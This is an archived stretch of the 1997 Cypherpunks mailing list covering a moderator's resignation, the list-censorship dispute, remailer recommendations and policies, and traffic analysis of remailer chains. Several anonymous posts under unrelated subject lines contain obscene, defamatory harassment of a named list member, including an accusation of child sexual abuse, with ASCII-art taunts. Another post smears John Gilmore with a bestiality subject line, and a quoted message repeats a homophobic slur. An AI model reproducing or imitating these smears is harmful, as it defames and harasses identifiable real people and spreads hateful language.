I'm ending my participation in the moderation of the list.  It 
would have been an interesting experiment if list members had 
been open minded enough to give it a good faith effort.  Instead,
those who weren't even willing to give another approach a try, 
set out to sabotage it and destroy any possibility of a meaningful 
test of the concept.  I see no reason to prolong the agony.

I've asked John to take me out of the loop as soon as possible.
If he can't get that done right away, I'll continue to moderate
in some capacity so that list members aren't cut off.  However,
I'm going to take a break today to help a friend move into her
apartment.  There won't be any messages forwarded for the next
24 hours or so.  Hopefully, John will have things switched over
by that then.  If not, I shove whatever is in the queue on down 
the line.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 8 Feb 1997 07:18:52 -0800 (PST)
To: cryptography@c2.net
Subject: Re: lead remailer is shut down
Message-ID: <9702081518.AA15999@super.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com, cryptography@c2.net
Date: Sat Feb 08 10:14:03 1997

> At 11:58 1997-02-07 -0800, Ed Falk wrote:
> >
> >Can't remailers be written with basic spam safeguards?  I.e. no 
> >mass crossposts, limited # of posts by each individual client per 
> >day, etc.?
> 
> Can anybody give me the address of reliable remailer which accepts
> pgp messages.

Winsock Remailer


************************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvyYOz5A4+Z4Wnt9AQFkXgP9GTsbnZsDmqlhHr7b18F3EQSiJ2QX3OdQ
45DBXL1m0e3+bAN89gFqfnBTvSf+7f4EvqcwzlVuv8FNzMhxD4+dLvw08TiszSvS
608N5Bx+3D3lI0HwPhGbcYlANtiJEN2JKxkzXO+gUF8Eb+DsgCb/iv2h4GLxmOOK
a7oRUv/PzYg=
=QdsB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 8 Feb 1997 02:31:16 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: censorship and headers
Message-ID: <199702081029.DAA24646@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    the "message" example which follows is obviously a message which 
    should have been destinated for owner-cypherpunks-flame.  there is 
    absolutely no indication of the differentation and the header shows:

        Sender: owner-cypherpunks@toad.com

    when it should have shown:

        Sender: owner-cypherpunks-edited@toad.com

    let's put it this way, if cp is to be censored, might as well do the 
    job correctly as this message was dumped into the main list.  

    regardless, censoring what is supposed to be the free speech 
    defenders of the online world is a poor example of our toleration 
    for differing viewpoints, regardless of their alledged stupidity or 
    off-topic value, or lack of value.  So far, cypherpunks is showing 
    less tolerance for freedom of speech that the United State Supreme 
    Court. You all know something I dont?  or do I need to start 
    cleaning and oiling real soon?

    --attila

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780
+	for <attila@primenet.com>; Fri, 7 Feb 1997 05:23:55 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from
+sirius.infonex.com (root@sirius.infonex.com [206.170.114.2]) by
+toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997
+04:19:47 -0800 (PST) Received: from mail.infonex.net
+(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com
+(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks@toad.com; Fri, 7
+Feb 1997 04:19:33 -0800 (PST) Message-Id:
+<199702071219.EAA26850@sirius.infonex.com> Date: Friday, 07 Feb 97
+07:19:25 EST
+To: cypherpunks@toad.com
+From: winsock@rigel.cyberpass.net (WinSock Remailer)
+X-Mailer: WinSock Remailer Version ALPHA1.3
+X-Comments: -
+X-Comments: This message is NOT from winsock@rigel.cyberpass.net.  It
+was  X-Comments: remailed by an automated anonymous remailer.
+X-Comments: -
+X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO:
+X-Comments:    REOP-L@cornell.edu <Remailer Operator's Network>
+X-Comments: -
+X-Comments:     WinSock Remailer (winsock@rigel.cyberpass.net)
+X-Comments:           http://www.cyberpass.net/~winsock/ X-Comments: -
+X-Remailer-Setup: Maximum Message Size -- None
+X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3
+X-Remailer-Setup: News Posting DISABLED
+X-Remailer-Setup: Subject Header KILLED
+X-Remailer-Setup: Logging OFF
+X-Remailer-Setup: All messages must be PGP encrypted
+Subject: Re: Sphere packings
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: e2bae6a70f8b97f156939d711ba124ba

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvxVZr04kQrCC2kFAQG7TwP/XI3wSXvMUgYdIqyjrXUN5CT5W/XVONqF
jOfGDNxeTj+UbvIGuMzfcdxZB0X2lMCm8IptXncDfQgULIt6Fex9xfBmrlr1F12G
xdnZKwoU9QUga27UX1Lyfw3V8uJYgx10h1o1/54CPAoFJVBhWwA5aI6RL/7hvoeI
E/l3Tx9iIyE=
=djYo
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 8 Feb 1997 10:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Decision in Karn Case
Message-ID: <199702081850.KAA15092@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Degenerate Vulis K[rust]OfTheMoment likes to be the man in
the middle, getting it both up the ass and in his mouth.

   o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
  /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ 
  / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
     Dr.Degenerate Vulis K[rust]OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 08:26:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer-operators DEA agents?
In-Reply-To: <19970207054708.10191.qmail@squirrel.owl.de>
Message-ID: <7yDT2D70w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy the C2Net Censor tossed the following question to flames:

Secret Squirrel <nobody@squirrel.owl.de> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > c.musselman@internetmci.com (Charley Musselman) writes:
> > > C'punks --
> > >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > > and suggested that he use an anonymous remailer to post to the group,
> > > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > > anyone know the answer?  Specifically, how can we choose a trusted
> > > remailer?
> >
> > Even if the feds are not directtly involved, the so-called "cypher punk"
> > remailers are run by people who should not be trusted.  Check out their
> > remailer-operators list: it's full of announcements that some specific
> > person posted something via the remailer that the operator didn't like.
>
> Examples, please?

Plenty. There was a whole thread about the operator of the defunct lead
remailer disclosing his users' identities. Here's a recent one:

]Received: from get.wired.com (HELO wired.com) (204.62.131.5)
]  by anon.lcs.mit.edu with SMTP; 6 Feb 1997 23:37:35 -0000
]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id PAA09050; Thu, 6 Feb 1997 15:37:34 -0800 (PST)
]Message-Id: <3.0.32.19970206160603.0086acb0@get.hotwired.com>
]X-Sender: toxic@get.hotwired.com
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Thu, 06 Feb 1997 16:06:04 -0800
]To: remailer-operators@anon.lcs.mit.edu
]From: Jeff Burchell <toxic@hotwired.com>
]Subject: Commercial SPAM from ClaritaInc@aol.com
]Mime-Version: 1.0
]Content-Type: text/plain; charset="us-ascii"
]
]
]Tofu trapped a bunch of shit coming from ClaritaInc@aol.com.  They're
]posting to usenet, advertising things for sale (Including a $10 pamphlet
]explaining how to send anonymous internet email, and the standard
]make.money.fast chainletter scheme)
]
]I've source blocked them, I suggest you do the same.
]
]-Jeff

Jeff also said the following, which seems to contradict the above:

]Delivered-To: remailer-operators@anon.lcs.mit.edu
]Received: from get.wired.com (HELO wired.com) (204.62.131.5)
]  by anon.lcs.mit.edu with SMTP; 7 Feb 1997 01:17:48 -0000
]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id RAA26127; Thu, 6 Feb 1997 17:17:47 -0800 (PST)
]Message-Id: <3.0.32.19970206174616.0086c8e0@get.hotwired.com>
]X-Sender: toxic@get.hotwired.com
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Thu, 06 Feb 1997 17:46:16 -0800
]To: remailer-operators@anon.lcs.mit.edu
]From: Jeff Burchell <toxic@hotwired.com>
]Subject: Useage Policy.
]Mime-Version: 1.0
]Content-Type: text/plain; charset="iso-8859-1"
]Content-Transfer-Encoding: quoted-printable
]
]
]I'm in the process of setting up an autoresponder on the
]abuse@mailmasher.com address.  I'd appreciate people's feedback to this
]autoresponder message, and the policies that it describes...
]
]
]Hi.  This is in regards to a letter you sent to abuse@mailmasher.com.  I
]hate autoresponders too, but I=92ve found that this is a special case and is
]probably warranted.
]I=92ve been running anonymous services for a couple of years now, and have
]answered thousands of pieces of email regarding MailMasher users.  Please
]take my word on this one, you really need to at least skim the rest of this
]message.
]
]I will read your email, I promise.  However, if your email can be answered
]by something that is contained in THIS message, I won=92t respond to it.
]Sorry.  I run MailMasher as sort of a hobby, while holding down a dayjob
]and I really don=92t have time to answer all mail personally.
]
]And now on to the important stuff=85
]
]First, the answer to the most frequently asked MailMasher question=85  If a
]user of the MailMasher is Harassing or otherwise bothering you,  it can be
]stopped.  Send a blank message to blockme@mailmasher.com.  Your email
]address will be added to a list of addresses that MailMasher will refuse to
]mail to, and you=92ll never get anything from here again.
]
]MailMasher is an anonymous service.  This means that even I don=92t know who
]is using it.  Any internet user can use a web interface to create an
]anonymous MailMasher email account.  I don=92t ask them who they are, and my
]machine doesn=92t keeps logs that could be used to identify users.  So
]please, don=92t ask me to identify a user.  I can=92t do it.=20
]
]I also don=92t filter anything for content.  Several years ago, in what has
]now come to be known as the Prodigy case (Stratton-Oakmont & Porush v.
]Prodigy.  Details at
]http://www.eff.org/pub/Legal/Cases/Stratton_Oakmont_Porush_v_Prodigy )   A
]legal standard was set.  Basically, if a service provider deletes posts,
]intercepts emails or otherwise tries to exercise editorial control over any
]of its users, then the service provider can be held responsible for ALL of
]the content that goes through the service.  MailMasher transfers around
]10,000 messages a day.  It is impossible for me to monitor traffic like
]that.  Therefore, I do not even know what most MailMasher users are using
]their accounts for.  It really isn=92t any of my business, and because I
]don=92t make it my business, legally, I can=92t be held responsible for the
]actions of MailMasher users.
]
]I also don=92t delete accounts.  Because, when I delete an account, the user
]can always come right back and create another one with a different address.
] If someone is going to be behaving badly on the Internet, I for one would
]prefer that they always do it from the same email address, so I can just
]add them to my killfile or email filters.
]
]So, to summarize:
]
]1.  I intentionally have made it impossible for anyone, including myself to
]determine the identities of MailMasher users.
]2.  I will not under any circumstances monitor a user or delete an account.
]3.  I will make a good faith effort to keep you from being bothered by
]MailMasher users,  through the use of a destination block filter.
]4.  I neither condone nor condemn any action taken by any MailMasher user,
]either in conjunction with their MailMasher use or not.
]
]So=85 you ask,  Why would I want to run a service that lets the spammers, an=
]d
]the porn freaks, and the warez kiddies do their thing?  The answer is
]simple: because it also allows for much much more.  A MailMasher user can
]communicate without repercussions to people all over the world.  I have
]received many thank-yous from users sometimes explaining what they used my
]service for.  There are people in certain countries who have a very
]legitimate fear of speaking out, who use this and other anonymous services
]to communicate with the U.S.  Countless people have used anonymous services
]to very openly discuss items that are considered secret to certain members
]of the Church of Scientology.  Victims of all sorts of abuse can speak
]truly anonymously (sometimes for the first time).  Even abusers can speak
]freely, which helps with recovery.
]It is for these examples that I run this service.  I think a little noise
]and junk is a small price to pay for all of this.  You take the good with
]the bad.
]
]This is free speech in one of its most raw forms, staring you in the face.
]You may not like it; It may offend you; It might even encourage illegal
]behavior, but it is speech, and in the United States, it is protected by
]the Constitution. =20
]
]Thank you for your time.  If you=92d like to contact me again, without
]tripping this autoresponder, send mail to remailer-admin@mailmasher.com.
]
]-Jeff Burchell,  MailMasher Admin
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 09:22:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore fellated farm animals
In-Reply-To: <199702070916.RAA10141@relay6.jaring.my>
Message-ID: <9LeT2D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"huilam" <huilam@pl.jaring.my> writes:

> How to get off this mail-listing ??
>
> Regards,
> Hui Lam
> Email:huilam@pl.jaring.my
> Homepage:<http://www.geocities.com/heartland/8642/>

Dear Hui,

Just send a few e-mails critical of Cygnus Support (Gilmore's company),
or C2Net (Parekh's company, that also employs Sandfart and Broils).
They'll kick you off their mailing list in no time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 09:23:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702072059.MAA15672@netcom23.netcom.com>
Message-ID: <uTeT2D75w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Vladimir Z. Nuri" <vznuri@netcom.com> writes:

> >(It is true that Vulis uses the phrase "Limey faggots," in reference to
> >beer-serving habits, but he does not directly insult any list members with
> >this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
> >be blocked from their usual characterizations of Congresscritters and NSA
> >stooges.)
>
> TCM defending Vulis, I think I've died and am in some strange
> dreamworld. hehehehe

I actually liked most of what TCM wrote (even when not crypto-relevant)
and find myself missing his essays.  He was wrong to start flaming me for
no reason and to attribute to me stuff I never said; but we all make
mistakes and can get over them.

Saying bullshit about people (like Tim saying bullshit about me and
me saying bullshit about people) is one thing; it can be fun, or it
can be annoying when taken to extremes; but I've never sought
to silence Tim, and have no hard evidence that he tried to silence
anyone.

P.S. CMEPTb COBKAM!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sat, 8 Feb 1997 02:13:45 -0800 (PST)
To: Bill Stewart <bs-org@c2.net
Subject: Re: lead remailer is shut down
Message-ID: <1.5.4.16.19970208101434.1127491c@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


At 21:42 1997-02-07 -0800, Bill Stewart wrote:
>Raph's remailer list is at
>   http://www.cs.berkeley.edu/~raph/remailer-list.html
>and indicates lots of different remailer features,
>including whether they accept or require PGP,
>and what reliability they've been getting recently.

Thanks, and it worked too...

>
>The remailer that was shut down was the remailer named "lead";
>you may have noticed that your reply went to a machine named "zinc".....
>
>At 11:56 PM 2/7/97 +0100, you wrote:
>>Can anybody give me the address of reliable remailer which accepts
>>pgp messages.
>>
>>BTW which remailer was shut down and why?
>>
>>
>>
>>
>>
>>
>>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 10:20:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anyone got a hash, in Java, in Europe?
Message-ID: <199702081820.LAA04261@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Degenerate L<avender> Vasectomy K<rap> Of The Moment has been
a source of endless embarassments to his sympathizers on and off
the net.

      o_o
     (   )  Dr.Degenerate L<avender> Vasectomy K<rap> Of The Moment
    ( | | )
    ' " " `






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 8 Feb 1997 09:36:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: List censorship
Message-ID: <855422469.63851.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



I notice several posts to the list discussing the incident when a 
message was sent to the list and was only at toad.com for 3 seconds 
before being forwarded. This incident, as the other posts observed, 
seems to suggest some kind of keyword filtering based on content or 
poster identity is in place. Sandy, can you explain this incident 
along with the fact that the post Dimitri sent about stronghold was 
sent to neither of the "filtered" lists.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 8 Feb 1997 09:32:42 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: META: Censorship is Going Way too Far
In-Reply-To: <v03007800af225b8581dd@[207.167.93.63]>
Message-ID: <199702081136.LAA26752@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007800af225b8581dd@[207.167.93.63]>, on 02/08/97 at 11:22 AM,
   "Timothy C. May" <tcmay@got.net> said:


>They have _not_ appeared, on either of the two lists, the main list and
>filtered list. I don't know if they have appeared on the "unfiltered" list, as
>I don't have access to an archive site for that, and don't subscribe to it. 
>Some of these articles are now more than 18 hours old.

Hi Tim,

All 4 of your post made it to the unfiltered list.

I don't know what made it to the moderated/flam list as I had switched to the
unmoderated list yesterday morning.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: You're throwing it all out the Windows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMvy70Y9Co1n+aLhhAQEJLAP+PfEKyvsLsqNWAnNYKt628w2PUtfIOxiR
H0La2l3tOX6eyXNiQFtmhQA7czJOm2FxMQOwagkA9qQcaJAj6vOiRfA6vganHmVY
VBFEfKQxSaSLov4cjZYyK5e1uWWrsJnU+irZyXDXXBxk8P4rA1kvwGChMPpJmeIK
eybgP/vYvz8=
=1brw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 10:51:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PICS] Dr. Denning
Message-ID: <199702081851.LAA05259@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Destitute L(ibel) Vilus K(adaver)OfTheMonth is so vile because
rancid semen is dripping from all of his orifices.

       o       o
     /<         >\ Destitute L(ibel) Vilus K(adaver)OfTheMonth
     \\\_______///
     //         \\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 09:25:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702072158.NAA01633@toad.com>
Message-ID: <gsgT2D78w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
>
> I'm not defending Vulis per se, and I continue to think Vulis is a twit.

I continue to think that Timmy is a liar and a jerk, yet I continue to
defend his freedom of speech.

> But one of the goals Vulis apparently set out to accomplish (just as you
> did a couple of years ago, Larry) was to force the list to start censoring
> itself, even to force the list to shut down.
>
> It seems likely that Vulis is quite happy with the outcome here.

I had set out to expose Gilmore and his friends as evil, and I've succeded.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 09:23:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702072120.NAA01090@toad.com>
Message-ID: <HwgT2D79w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos <mpd@netcom.com> writes:

> SANDY SANDFORT sez:
>
> > On Fri, 7 Feb 1997, Mike Duvos wrote:
>
> > > ...Messages apparently do not get moderated in the order in
> > > which they are received...
>
> > All messages are filtered and posted in the order in which I
> > receive them.
>
> That's all very nice, but I should point out that I have not yet
> seen my message to which you are responding on the filtered list.

Also not "all" messages are posted.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 11:00:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Encrypting ZIP disks
Message-ID: <199702081900.MAA05522@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimwit L[eper] Vehement K[reep]OTM prefers to have sex with
little kids because his own penis is like that of a three-year-
old.

       o       o
     /<         >\ Dimwit L[eper] Vehement K[reep]OTM
     \\\_______///
     //         \\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 8 Feb 1997 09:06:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <199702080810.AAA13064@toad.com>
Message-ID: <Pine.LNX.3.95.970208120030.540A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 8 Feb 1997, Jeremiah A Blatz wrote:

> Ummm, if you run your own remailer, and don't get lots of people to
> use it, then traffic analysis will reveal that you are the sender
> quite quickly. It will pretty much make everything in the chain before
> your remiler useless. If you send your message through remailers a, b,
> c, and d like this:
> 
> you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen
> 
> and only you use c, then your effective chain is:
> 
> someone who could only be you -> d -> alt.drugs.and-other-various-horsemen

This is assuming that it is a reasonable assumption that all traffic going
through remailer c originated from the owner.  If there is one non-corrupt
remailer in the chain before c, then this would not be a valid assumption
because traffic from the owner would be indistinguishable from traffic sent
by anyone else.  If the remailer has low traffic, the solution is, of course,
to make it higher traffic.  Chain a bunch of messages that get sent to
/dev/null through the remailers, being sure to include c somewhere in the
middle of the chain.  If Mixmaster is used, then it would be virtually
impossible to differentiate between "real" messages and messages destined for
/dev/null.  It would be a little easier with Type I since the size of the
ciphertext decreases after each hop.  This all assumes that encryption is being
used, of course.


Mark
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Version: 2.6.3
Charset: noconv

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nLOUoPriQ9Ps8fzc3B31G5nwj5d6Es7nnfZbGk1dV5KS5bN7fyu9umBeFiW7jNcj
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4f3ZQkhXG6C4VbYF3fTlL0ujZgRal0csG0X4u6x/5ID4Blle9hwtIQ==
=BqMW
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 11:33:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trigger-Words
Message-ID: <199702081933.MAA06626@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dinghy L[ily] Vinyl is so full of shit that some of it bursts
out on this mailing list.

           __o
         _ \<_  Dr.Dinghy L[ily] Vinyl
        (_)/(_)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 8 Feb 1997 14:43:02 -0800 (PST)
To: Anil Das <cypherpunks@toad.com
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702082242.OAA01411@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:41 PM 2/6/97 -0800, Anil Das wrote:
>First, Rebecca Vesely has a special report, the main thrust
>of which is that three firms being allowed to export 56 bit
>encryption indicates flexibility on the part of the
>government.
>http://www.netizen.com/netizen/97/05/special2a.html
>To top it off, here are two gems from the followup discussion.
>http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387
>
>2. 56 ONLY A SLIGHTLY SMALLER JOKE
>    Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST
>
>    If it takes a college student four hours to break
>    a 40bit code it should take him/her about six 
>    hours to do the same to 56bits. Then what excuses 
>    are the government and its butt-kissing companies 
>    going to give us for not allowing *real* coding?

Ironically, we (the good guys) are going to be the beneficiaries of an 
ignorant public, for a change!  We all know that difficulty is not linear 
with bit-size, but hearing that "40 bits is crackable in four hours!"  will 
be interpreted by non-technical people as a strong level of suspicion 
directed at DES as well.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:16:52 -0800 (PST)
To: "Alan Olsen" <das@razor.engr.sgi.com>
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702082106.PAA04238@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


I have no idea why I received the below message.  I don't know any of the
people in it, and I don't care about the issue.

----------
> From: Alan Olsen <alan@ctrl-alt-del.com>
> To: Anil Das <das@razor.engr.sgi.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Enlightened commentary on Netizen.
> Date: Saturday, February 08, 1997 10:55 AM
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 08:41 PM 2/6/97 -0800, Anil Das wrote:
> 
> >    However, the question has to be asked, why the fuck should we non US
> citizens go and buy
> >    cryptographic software that is deliberately coded to allow the US
> government to read our mail? 
> 
> You shouldn't.
> 
> Maybe someone should print up a batch of "Voyeur Enabled" stickers for
all
> the GAKed products  (or should that be KRAP products, since it is the Key
> Recovery Alliance, but that is redundant) we will be seeing at our local
> software stores.
> 
> Sometimes I think the reason for all this snake oil we have been seeing
is
> the Feds need it for extra lubricant so they don't chafe themselves while
> getting off on reading our mail.
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQEVAwUBMvyv1+QCP3v30CeZAQEGigf+PA45Q2ySEZ6iLwc8+fRURvXJRinStWwy
> oNGWKDnyYHFJ91L8Z+11oKvMov45CC4MOISy36/Oz2CY9qyq8l5L1wTU7J8CezsS
> 3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6
> zjKS7olJmzMMyJrAWaNo5zaW4g/ER8wJiI0zbakvrd/8Y+VJkiTN05znbIfLiOTV
> 0Olt/OaX4seWWNwZb5FaPv2y8ST3j+xm4Uv6fdc4Qo8QGWnGpuBAKo0D+q39KNkY
> Ps47vKyf2VwQM6Ci49/uuU8um/l9TmDsuHkYYmsoDfsGpcZImEWzZw==
> =Prg6
> -----END PGP SIGNATURE-----
> 
> ---
> |            "Mi Tio es infermo, pero la carretera es verde!"           
|
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:        
|
> | mankind free in one-key-steganography-privacy!"  | Ignore the man     
|
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the
keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:21:54 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com>
Subject: Re: anonymous remailers
Message-ID: <199702082121.PAA05430@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't know what you're talking about.  Who is "cypherpunks," and who are
you?  Please don't answer...I'm just trying to figure out how I started
getting these wierd e-mails from people I never heard about discussing
something I never cared about.  

I truly want you to have a great life...but please leave me out of it.

----------
> From: Mark M. <markm@voicenet.com>
> To: cypherpunks@toad.com
> Subject: Re: anonymous remailers
> Date: Saturday, February 08, 1997 11:11 AM
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 8 Feb 1997, Jeremiah A Blatz wrote:
> 
> > Ummm, if you run your own remailer, and don't get lots of people to
